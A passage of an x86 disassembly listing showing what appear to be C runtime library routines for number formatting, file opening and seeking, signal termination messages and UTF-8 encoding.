[ebp+var_4] cmp byte ptr [edx+eax], 8 jb short loc_40B536 mov [ebp+var_64], 0Fh jmp short loc_40B53D ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40B250+2CFj ; sub_40B250+2DBj mov [ebp+var_64], 0 loc_40B53D: ; CODE XREF: sub_40B250+2E4j mov eax, [ebp+var_64] mov byte ptr [ebp+var_60+3], al movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_40B551 ; --------------------------------------------------------------------------- loc_40B54C: ; CODE XREF: sub_40B250+311j sub [ebp+var_12], 1 loc_40B551: ; CODE XREF: sub_40B250+2FAj mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_60+3] cmp [edx+eax], cl jz short loc_40B54C cmp byte ptr [ebp+var_60+3], 0Fh jnz short loc_40B574 mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_40B574: ; CODE XREF: sub_40B250+317j cmp [ebp+var_5C], 0 jge short loc_40B587 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 4 loc_40B587: ; CODE XREF: sub_40B250+328j movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_40B5A3 ; --------------------------------------------------------------------------- loc_40B590: ; CODE XREF: sub_40B250+35Cj mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx movzx edx, byte ptr [eax] mov ecx, [ebp+var_48] mov dl, [ecx+edx] mov [eax], dl loc_40B5A3: ; CODE XREF: sub_40B250+33Ej mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax test eax, eax jge short loc_40B590 loc_40B5AE: ; CODE XREF: sub_40B250+2BFj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge loc_40B885 mov edx, [ebp+arg_0] movsx eax, [ebp+var_12] dec eax mov [edx+2Ch], eax jmp loc_40B885 ; --------------------------------------------------------------------------- loc_40B5CB: ; CODE XREF: sub_40B250+16Fj fld dbl_4100AC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_40B5E1 fld [ebp+var_10] fchs fstp [ebp+var_10] loc_40B5E1: ; CODE XREF: sub_40B250+387j movsx eax, [ebp+var_14] imul eax, 7597h push eax mov edx, 14F8B589h imul edx pop eax shr eax, 1Fh sar edx, 0Dh add eax, edx sub eax, 4 mov [ebp+var_14], ax test ax, ax jge short loc_40B64C mov eax, 3 movsx edx, [ebp+var_14] sub eax, edx and eax, 0FFFFFFFCh mov [ebp+var_44], eax neg eax mov [ebp+var_14], ax mov [ebp+var_48], 0 jmp short loc_40B644 ; --------------------------------------------------------------------------- loc_40B628: ; CODE XREF: sub_40B250+3F8j test byte ptr [ebp+var_44], 1 jz short loc_40B63E fld [ebp+var_10] mov eax, [ebp+var_48] fmul dbl_410054[eax*8] fstp [ebp+var_10] loc_40B63E: ; CODE XREF: sub_40B250+3DCj sar [ebp+var_44], 1 inc [ebp+var_48] loc_40B644: ; CODE XREF: sub_40B250+3D6j cmp [ebp+var_44], 0 jg short loc_40B628 jmp short loc_40B69C ; --------------------------------------------------------------------------- loc_40B64C: ; CODE XREF: sub_40B250+3B6j cmp [ebp+var_14], 0 jle short loc_40B69C fld dbl_4100A4 fstp [ebp+var_50] and [ebp+var_14], 0FFFCh movsx eax, [ebp+var_14] mov [ebp+var_44], eax mov [ebp+var_48], 0 jmp short loc_40B68D ; --------------------------------------------------------------------------- loc_40B671: ; CODE XREF: sub_40B250+441j test byte ptr [ebp+var_44], 1 jz short loc_40B687 fld [ebp+var_50] mov eax, [ebp+var_48] fmul dbl_410054[eax*8] fstp [ebp+var_50] loc_40B687: ; CODE XREF: sub_40B250+425j sar [ebp+var_44], 1 inc [ebp+var_48] loc_40B68D: ; CODE XREF: sub_40B250+41Fj cmp [ebp+var_44], 0 jg short loc_40B671 fld [ebp+var_10] fdiv [ebp+var_50] fstp [ebp+var_10] loc_40B69C: ; CODE XREF: sub_40B250+3FAj ; sub_40B250+401j mov al, [ebp+arg_4] cmp al, 66h jz short loc_40B6A7 cmp al, 46h jnz short loc_40B6B3 loc_40B6A7: ; CODE XREF: sub_40B250+451j movsx eax, [ebp+var_14] add eax, 0Ah mov [ebp+var_48], eax jmp short loc_40B6BA ; --------------------------------------------------------------------------- loc_40B6B3: ; CODE XREF: sub_40B250+455j mov [ebp+var_48], 6 loc_40B6BA: ; CODE XREF: sub_40B250+461j mov eax, [ebp+var_48] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_44], eax cmp eax, 13h jle short loc_40B6D4 mov [ebp+var_44], 13h loc_40B6D4: ; CODE XREF: sub_40B250+47Bj mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 30h jmp loc_40B77A ; --------------------------------------------------------------------------- loc_40B6E5: ; CODE XREF: sub_40B250+53Cj fld [ebp+var_10] call sub_40C350 mov dword ptr [ebp+var_50+4], eax mov eax, [ebp+var_44] sub eax, 8 mov [ebp+var_44], eax test eax, eax jle short loc_40B70E fld [ebp+var_10] fild dword ptr [ebp+var_50+4] fsubp st(1), st fmul dbl_41009C fstp [ebp+var_10] loc_40B70E: ; CODE XREF: sub_40B250+4ABj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov dword ptr [ebp+var_50], 8 jmp short loc_40B749 ; --------------------------------------------------------------------------- loc_40B720: ; CODE XREF: sub_40B250+508j push 0Ah mov eax, dword ptr [ebp+var_50+4] push eax call sub_40C380 add esp, 8 mov dword ptr [ebp+var_58], eax mov dword ptr [ebp+var_58+4], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, dword ptr [ebp+var_58+4] add edx, 30h mov [eax], dl mov eax, dword ptr [ebp+var_58] mov dword ptr [ebp+var_50+4], eax loc_40B749: ; CODE XREF: sub_40B250+4CEj cmp dword ptr [ebp+var_50+4], 0 jle short loc_40B75A mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_40B720 loc_40B75A: ; CODE XREF: sub_40B250+4FDj jmp short loc_40B766 ; --------------------------------------------------------------------------- loc_40B75C: ; CODE XREF: sub_40B250+51Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 30h loc_40B766: ; CODE XREF: sub_40B250:loc_40B75Aj mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_40B75C mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax loc_40B77A: ; CODE XREF: sub_40B250+490j cmp [ebp+var_44], 0 jle short loc_40B792 fld dbl_4100AC fcomp [ebp+var_10] fnstsw ax sahf jb loc_40B6E5 loc_40B792: ; CODE XREF: sub_40B250+52Ej mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax add [ebp+var_14], 7 jmp short loc_40B7B5 ; --------------------------------------------------------------------------- loc_40B7AA: ; CODE XREF: sub_40B250+56Bj dec [ebp+var_44] sub [ebp+var_14], 1 inc [ebp+var_4] loc_40B7B5: ; CODE XREF: sub_40B250+558j mov eax, [ebp+var_4] cmp byte ptr [eax], 30h jz short loc_40B7AA mov al, [ebp+arg_4] cmp al, 66h jz short loc_40B7C8 cmp al, 46h jnz short loc_40B7D2 loc_40B7C8: ; CODE XREF: sub_40B250+572j movsx eax, [ebp+var_14] inc eax mov dword ptr [ebp+var_50+4], eax jmp short loc_40B7ED ; --------------------------------------------------------------------------- loc_40B7D2: ; CODE XREF: sub_40B250+576j mov al, [ebp+arg_4] cmp al, 65h jz short loc_40B7DD cmp al, 45h jnz short loc_40B7E6 loc_40B7DD: ; CODE XREF: sub_40B250+587j mov dword ptr [ebp+var_50+4], 1 jmp short loc_40B7ED ; --------------------------------------------------------------------------- loc_40B7E6: ; CODE XREF: sub_40B250+58Bj mov dword ptr [ebp+var_50+4], 0 loc_40B7ED: ; CODE XREF: sub_40B250+580j ; sub_40B250+594j mov eax, dword ptr [ebp+var_50+4] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_12], ax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_40B80C mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_40B80C: ; CODE XREF: sub_40B250+5B3j cmp [ebp+var_12], 0 jl short loc_40B885 mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_40B834 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 35h jb short loc_40B834 mov dword ptr [ebp+var_58], 39h jmp short loc_40B83B ; --------------------------------------------------------------------------- loc_40B834: ; CODE XREF: sub_40B250+5CDj ; sub_40B250+5D9j mov dword ptr [ebp+var_58], 30h loc_40B83B: ; CODE XREF: sub_40B250+5E2j mov eax, dword ptr [ebp+var_58] mov byte ptr [ebp+var_50+3], al movsx eax, [ebp+var_12] mov dword ptr [ebp+var_58+4], eax jmp short loc_40B84F ; --------------------------------------------------------------------------- loc_40B84A: ; CODE XREF: sub_40B250+60Fj sub [ebp+var_12], 1 loc_40B84F: ; CODE XREF: sub_40B250+5F8j mov eax, dword ptr [ebp+var_58+4] dec eax mov dword ptr [ebp+var_58+4], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_50+3] cmp [edx+eax], cl jz short loc_40B84A cmp byte ptr [ebp+var_50+3], 39h jnz short loc_40B872 mov eax, dword ptr [ebp+var_58+4] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_40B872: ; CODE XREF: sub_40B250+615j cmp dword ptr [ebp+var_58+4], 0 jge short loc_40B885 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 1 loc_40B885: ; CODE XREF: sub_40B250+161j ; sub_40B250+365j ... movsx eax, [ebp+var_14] push eax movsx eax, [ebp+var_12] push eax mov eax, [ebp+var_4] push eax movzx eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40C3B0 add esp, 14h loc_40B8A4: ; CODE XREF: sub_40B250+B4j ; sub_40B250+106j mov esp, ebp pop ebp retn sub_40B250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8B0 proc near ; CODE XREF: sub_40A5E0+5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea ebx, [ebp+arg_8] lea eax, [ebx+4] mov ebx, eax mov esi, [eax-4] push esi push 40h mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40B8E0 add esp, 10h pop esi pop ebx pop ebp retn sub_40B8B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8E0 proc near ; CODE XREF: sub_40B8B0+1Bp var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 3Ch push ebx push esi push edi mov ebx, [ebp+arg_4] mov [ebp+var_10], 0Ch mov [ebp+var_C], 0 test ebx, 80h jz short loc_40B90F mov [ebp+var_8], 0 mov [ebp+var_1], 10h jmp short loc_40B91A ; --------------------------------------------------------------------------- loc_40B90F: ; CODE XREF: sub_40B8E0+20j mov [ebp+var_8], 1 mov [ebp+var_1], 0 loc_40B91A: ; CODE XREF: sub_40B8E0+2Dj test ebx, 8000h jnz short loc_40B92E test ebx, 4000h jz short loc_40B92E or [ebp+var_1], 80h loc_40B92E: ; CODE XREF: sub_40B8E0+40j ; sub_40B8E0+48j mov edi, ebx and edi, 3 jz short loc_40B941 cmp edi, 1 jz short loc_40B94A cmp edi, 2 jz short loc_40B953 jmp short loc_40B95C ; --------------------------------------------------------------------------- loc_40B941: ; CODE XREF: sub_40B8E0+53j mov [ebp+var_20], 80000000h jmp short loc_40B96F ; --------------------------------------------------------------------------- loc_40B94A: ; CODE XREF: sub_40B8E0+58j mov [ebp+var_20], 40000000h jmp short loc_40B96F ; --------------------------------------------------------------------------- loc_40B953: ; CODE XREF: sub_40B8E0+5Dj mov [ebp+var_20], 0C0000000h jmp short loc_40B96F ; --------------------------------------------------------------------------- loc_40B95C: ; CODE XREF: sub_40B8E0+5Fj call sub_4083A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40BCB9 ; --------------------------------------------------------------------------- loc_40B96F: ; CODE XREF: sub_40B8E0+68j ; sub_40B8E0+71j ... mov eax, [ebp+arg_8] cmp eax, 20h jz short loc_40B99C jg short loc_40B981 cmp [ebp+arg_8], 10h jz short loc_40B993 jmp short loc_40B9B7 ; --------------------------------------------------------------------------- loc_40B981: ; CODE XREF: sub_40B8E0+97j mov eax, [ebp+arg_8] cmp eax, 30h jz short loc_40B9A5 jl short loc_40B9B7 cmp [ebp+arg_8], 40h jz short loc_40B9AE jmp short loc_40B9B7 ; --------------------------------------------------------------------------- loc_40B993: ; CODE XREF: sub_40B8E0+9Dj mov [ebp+var_28], 0 jmp short loc_40B9CA ; --------------------------------------------------------------------------- loc_40B99C: ; CODE XREF: sub_40B8E0+95j mov [ebp+var_28], 1 jmp short loc_40B9CA ; --------------------------------------------------------------------------- loc_40B9A5: ; CODE XREF: sub_40B8E0+A7j mov [ebp+var_28], 2 jmp short loc_40B9CA ; --------------------------------------------------------------------------- loc_40B9AE: ; CODE XREF: sub_40B8E0+AFj mov [ebp+var_28], 3 jmp short loc_40B9CA ; --------------------------------------------------------------------------- loc_40B9B7: ; CODE XREF: sub_40B8E0+9Fj ; sub_40B8E0+A9j ... call sub_4083A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40BCB9 ; --------------------------------------------------------------------------- loc_40B9CA: ; CODE XREF: sub_40B8E0+BAj ; sub_40B8E0+C3j ... mov eax, ebx and eax, 700h mov [ebp+var_3C], eax cmp eax, 300h jz short loc_40BA4E jg short loc_40B9FC mov eax, [ebp+var_3C] cmp eax, 100h jz short loc_40BA33 jg short loc_40B9F1 cmp [ebp+var_3C], 0 jz short loc_40BA2A jmp short loc_40BA57 ; --------------------------------------------------------------------------- loc_40B9F1: ; CODE XREF: sub_40B8E0+107j cmp [ebp+var_3C], 200h jz short loc_40BA45 jmp short loc_40BA57 ; --------------------------------------------------------------------------- loc_40B9FC: ; CODE XREF: sub_40B8E0+FBj mov eax, [ebp+var_3C] cmp eax, 500h jz short loc_40BA3C jg short loc_40BA13 cmp [ebp+var_3C], 400h jz short loc_40BA2A jmp short loc_40BA57 ; --------------------------------------------------------------------------- loc_40BA13: ; CODE XREF: sub_40B8E0+126j mov eax, [ebp+var_3C] cmp eax, 600h jz short loc_40BA45 jl short loc_40BA57 cmp [ebp+var_3C], 700h jz short loc_40BA3C jmp short loc_40BA57 ; --------------------------------------------------------------------------- loc_40BA2A: ; CODE XREF: sub_40B8E0+10Dj ; sub_40B8E0+12Fj mov [ebp+var_24], 3 jmp short loc_40BA6A ; --------------------------------------------------------------------------- loc_40BA33: ; CODE XREF: sub_40B8E0+105j mov [ebp+var_24], 4 jmp short loc_40BA6A ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8E0+124j ; sub_40B8E0+146j mov [ebp+var_24], 1 jmp short loc_40BA6A ; --------------------------------------------------------------------------- loc_40BA45: ; CODE XREF: sub_40B8E0+118j ; sub_40B8E0+13Bj mov [ebp+var_24], 5 jmp short loc_40BA6A ; --------------------------------------------------------------------------- loc_40BA4E: ; CODE XREF: sub_40B8E0+F9j mov [ebp+var_24], 2 jmp short loc_40BA6A ; --------------------------------------------------------------------------- loc_40BA57: ; CODE XREF: sub_40B8E0+10Fj ; sub_40B8E0+11Aj ... call sub_4083A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40BCB9 ; --------------------------------------------------------------------------- loc_40BA6A: ; CODE XREF: sub_40B8E0+151j ; sub_40B8E0+15Aj ... mov [ebp+var_14], 80h test ebx, 100h jz short loc_40BA98 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax add eax, 4 mov [ebp+var_2C], eax mov eax, [eax-4] mov [ebp+var_30], eax test byte ptr [ebp+var_30], 80h jnz short loc_40BA98 mov [ebp+var_14], 1 loc_40BA98: ; CODE XREF: sub_40B8E0+197j ; sub_40B8E0+1AFj test ebx, 40h jz short loc_40BAAE or [ebp+var_14], 4000000h or [ebp+var_20], 10000h loc_40BAAE: ; CODE XREF: sub_40B8E0+1BEj test ebx, 1000h jz short loc_40BABD or [ebp+var_14], 100h loc_40BABD: ; CODE XREF: sub_40B8E0+1D4j test ebx, 20h jz short loc_40BACE or [ebp+var_14], 8000000h jmp short loc_40BADD ; --------------------------------------------------------------------------- loc_40BACE: ; CODE XREF: sub_40B8E0+1E3j test ebx, 10h jz short loc_40BADD or [ebp+var_14], 10000000h loc_40BADD: ; CODE XREF: sub_40B8E0+1ECj ; sub_40B8E0+1F4j call sub_40A8D0 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40BAFC call sub_4083A0 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp loc_40BCB9 ; --------------------------------------------------------------------------- loc_40BAFC: ; CODE XREF: sub_40B8E0+207j push 0 mov eax, [ebp+var_14] push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+var_28] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+arg_0] push eax call dword_411DD0 ; CreateFileA mov [ebp+var_18], eax cmp eax, 0FFFFFFFFh jnz short loc_40BB42 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_408240 pop ecx push esi call sub_40ACE0 pop ecx or eax, 0FFFFFFFFh jmp loc_40BCB9 ; --------------------------------------------------------------------------- loc_40BB42: ; CODE XREF: sub_40B8E0+244j mov eax, [ebp+var_18] push eax call dword_411DEC ; GetFileType mov [ebp+var_1C], eax test eax, eax jnz short loc_40BB79 mov eax, [ebp+var_18] push eax call dword_411CF8 ; CloseHandle call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_408240 pop ecx push esi call sub_40ACE0 pop ecx or eax, 0FFFFFFFFh jmp loc_40BCB9 ; --------------------------------------------------------------------------- loc_40BB79: ; CODE XREF: sub_40B8E0+271j cmp [ebp+var_1C], 2 jnz short loc_40BB85 or [ebp+var_1], 40h jmp short loc_40BB8F ; --------------------------------------------------------------------------- loc_40BB85: ; CODE XREF: sub_40B8E0+29Dj cmp [ebp+var_1C], 3 jnz short loc_40BB8F or [ebp+var_1], 8 loc_40BB8F: ; CODE XREF: sub_40B8E0+2A3j ; sub_40B8E0+2A9j mov eax, [ebp+var_18] push eax push esi call sub_40AAB0 add esp, 8 or [ebp+var_1], 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_1] mov [edx+eax+4], cl movzx eax, [ebp+var_1] test eax, 48h jnz loc_40BC87 test eax, 80h jz loc_40BC87 test ebx, 2 jz loc_40BC87 push 2 push 0FFFFFFFFh push esi call sub_40BDF0 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_40BC1D call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 83h jz loc_40BC87 push esi call sub_408D80 pop ecx push esi call sub_40ACE0 pop ecx or eax, 0FFFFFFFFh jmp loc_40BCB9 ; --------------------------------------------------------------------------- loc_40BC1D: ; CODE XREF: sub_40B8E0+314j mov [ebp+var_35], 0 push 1 lea eax, [ebp+var_35] push eax push esi call sub_40C890 add esp, 0Ch test eax, eax jnz short loc_40BC5F cmp [ebp+var_35], 1Ah jnz short loc_40BC5F mov eax, [ebp+var_34] push eax push esi call sub_40CC50 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_40BC5F push esi call sub_408D80 pop ecx push esi call sub_40ACE0 pop ecx or eax, 0FFFFFFFFh jmp short loc_40BCB9 ; --------------------------------------------------------------------------- loc_40BC5F: ; CODE XREF: sub_40B8E0+352j ; sub_40B8E0+358j ... push 0 push 0 push esi call sub_40BDF0 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_40BC87 push esi call sub_408D80 pop ecx push esi call sub_40ACE0 pop ecx or eax, 0FFFFFFFFh jmp short loc_40BCB9 ; --------------------------------------------------------------------------- loc_40BC87: ; CODE XREF: sub_40B8E0+2E4j ; sub_40B8E0+2EFj ... test [ebp+var_1], 48h jnz short loc_40BCB0 test ebx, 8 jz short loc_40BCB0 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 20h loc_40BCB0: ; CODE XREF: sub_40B8E0+3ABj ; sub_40B8E0+3B3j push esi call sub_40ACE0 pop ecx mov eax, esi loc_40BCB9: ; CODE XREF: sub_40B8E0+8Aj ; sub_40B8E0+E5j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40B8E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCC0 proc near ; CODE XREF: sub_40A650+2p var_14 = dword ptr -14h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push 1 mov eax, [ebp+arg_0] push eax call sub_40AD50 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40BCE7 or eax, 0FFFFFFFFh jmp loc_40BDE4 ; --------------------------------------------------------------------------- loc_40BCE7: ; CODE XREF: sub_40BCC0+1Dj cmp ebx, 1 jz loc_40BDE2 test ebx, ebx jz short loc_40BD0E push 0 mov eax, [ebp+arg_0] push eax call sub_40AD50 add esp, 8 mov eax, [ebp+arg_0] push eax call ebx pop ecx jmp loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BD0E: ; CODE XREF: sub_40BCC0+32j mov eax, [ebp+arg_0] cmp eax, 2 jl short loc_40BD63 cmp eax, 0Bh jg short loc_40BD22 jmp dword ptr byte_4100E0[eax*4] ; --------------------------------------------------------------------------- loc_40BD22: ; CODE XREF: sub_40BCC0+59j cmp [ebp+arg_0], 0Fh jz short loc_40BD5A jmp short loc_40BD63 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aAbort ; "abort" jmp loc_40BDB7 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error" jmp short loc_40BDB7 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code" jmp short loc_40BDB7 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInterruption ; "interruption" jmp short loc_40BDB7 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access" jmp short loc_40BDB7 ; --------------------------------------------------------------------------- loc_40BD5A: ; CODE XREF: sub_40BCC0+66j mov [ebp+var_4], offset aTerminationReq ; "termination request" jmp short loc_40BDB7 ; --------------------------------------------------------------------------- loc_40BD63: ; CODE XREF: sub_40BCC0+54j ; sub_40BCC0+68j lea eax, [ebp+var_5] mov [ebp+var_4], eax mov [ebp+var_5], 0 loc_40BD6D: ; CODE XREF: sub_40BCC0+E3j mov eax, [ebp+var_4] dec eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ecx, 0Ah cdq idiv ecx lea eax, [edx+30h] mov edx, [ebp+var_14] mov [edx], al mov eax, [ebp+arg_0] push eax mov edx, 66666667h imul edx pop eax shr eax, 1Fh sar edx, 2 add eax, edx mov [ebp+arg_0], eax test eax, eax jnz short loc_40BD6D push offset dword_411324 push offset aSignal ; "signal #" call sub_40CE00 add esp, 8 loc_40BDB7: ; CODE XREF: sub_40BCC0+71j ; sub_40BCC0+7Dj ... push offset dword_411324 mov eax, [ebp+var_4] push eax call sub_40CE00 add esp, 8 push offset dword_411324 push offset aTerminating ; " -- terminating\n" call sub_40CE00 add esp, 8 push 1 call sub_4079E0 pop ecx loc_40BDE2: ; CODE XREF: sub_40BCC0+2Aj ; sub_40BCC0+49j xor eax, eax loc_40BDE4: ; CODE XREF: sub_40BCC0+22j pop ebx mov esp, ebp pop ebp retn sub_40BCC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BDF0 proc near ; CODE XREF: sub_40A670+4Bp ; sub_40B8E0+306p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] push ebx call sub_40AB60 pop ecx mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_40BE19 call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40BE62 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40BDF0+17j mov eax, [ebp+arg_8] push eax push 0 mov eax, [ebp+arg_4] push eax push edi call dword_411E14 ; SetFilePointer mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40BE45 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_408240 pop ecx or eax, 0FFFFFFFFh jmp short loc_40BE62 ; --------------------------------------------------------------------------- loc_40BE45: ; CODE XREF: sub_40BDF0+41j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FDh mov eax, esi loc_40BE62: ; CODE XREF: sub_40BDF0+27j ; sub_40BDF0+53j pop edi pop esi pop ebx pop ebp retn sub_40BDF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_40BE9B mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40BEAB loc_40BE9B: ; CODE XREF: DMN0:0040BE7Ej call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40BECE ; --------------------------------------------------------------------------- loc_40BEAB: ; CODE XREF: DMN0:0040BE99j push ebx call sub_40AC80 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_40BDF0 add esp, 0Ch mov esi, eax push ebx call sub_40ACE0 pop ecx mov eax, esi loc_40BECE: ; CODE XREF: DMN0:0040BEA9j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEE0 proc near ; CODE XREF: sub_40AEB0+9Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx cmp off_411924, 0 jnz loc_40BFC7 mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_40BF1B mov eax, [ebp+arg_8] mov ecx, dword_410194 mov ebx, dword_410198 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_40C11D ; --------------------------------------------------------------------------- loc_40BF1B: ; CODE XREF: sub_40BEE0+1Ej test [ebp+arg_4], 0FF80h jnz short loc_40BF3B mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] mov [eax], dl mov [ebp+var_4], 0 jmp short loc_40BFB4 ; --------------------------------------------------------------------------- loc_40BF3B: ; CODE XREF: sub_40BEE0+41j test [ebp+arg_4], 0F800h jnz short loc_40BF64 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 6 or edx, 0C0h mov [eax], dl mov [ebp+var_4], 1 jmp short loc_40BFB4 ; --------------------------------------------------------------------------- loc_40BF64: ; CODE XREF: sub_40BEE0+61j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 0Ch and edx, 0Fh or edx, 0E0h mov [eax], dl mov [ebp+var_4], 2 jmp short loc_40BFB4 ; --------------------------------------------------------------------------- loc_40BF88: ; CODE XREF: sub_40BEE0+D8j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, [ebp+var_4] dec edx mov [ebp+var_4], edx movzx ecx, [ebp+arg_4] mov [ebp+var_C], ecx lea ecx, [edx+edx*2] add ecx, ecx mov edx, [ebp+var_C] sar edx, cl and edx, 3Fh or edx, 80h mov [eax], dl loc_40BFB4: ; CODE XREF: sub_40BEE0+59j ; sub_40BEE0+82j ... cmp [ebp+var_4], 0 jg short loc_40BF88 mov eax, [ebp+var_8] mov edx, [ebp+arg_0] sub eax, edx jmp loc_40C11D ; --------------------------------------------------------------------------- loc_40BFC7: ; CODE XREF: sub_40BEE0+Ej mov eax, [ebp+arg_8] movzx eax, word ptr [eax+6] mov byte ptr [ebp+var_4+3], al mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 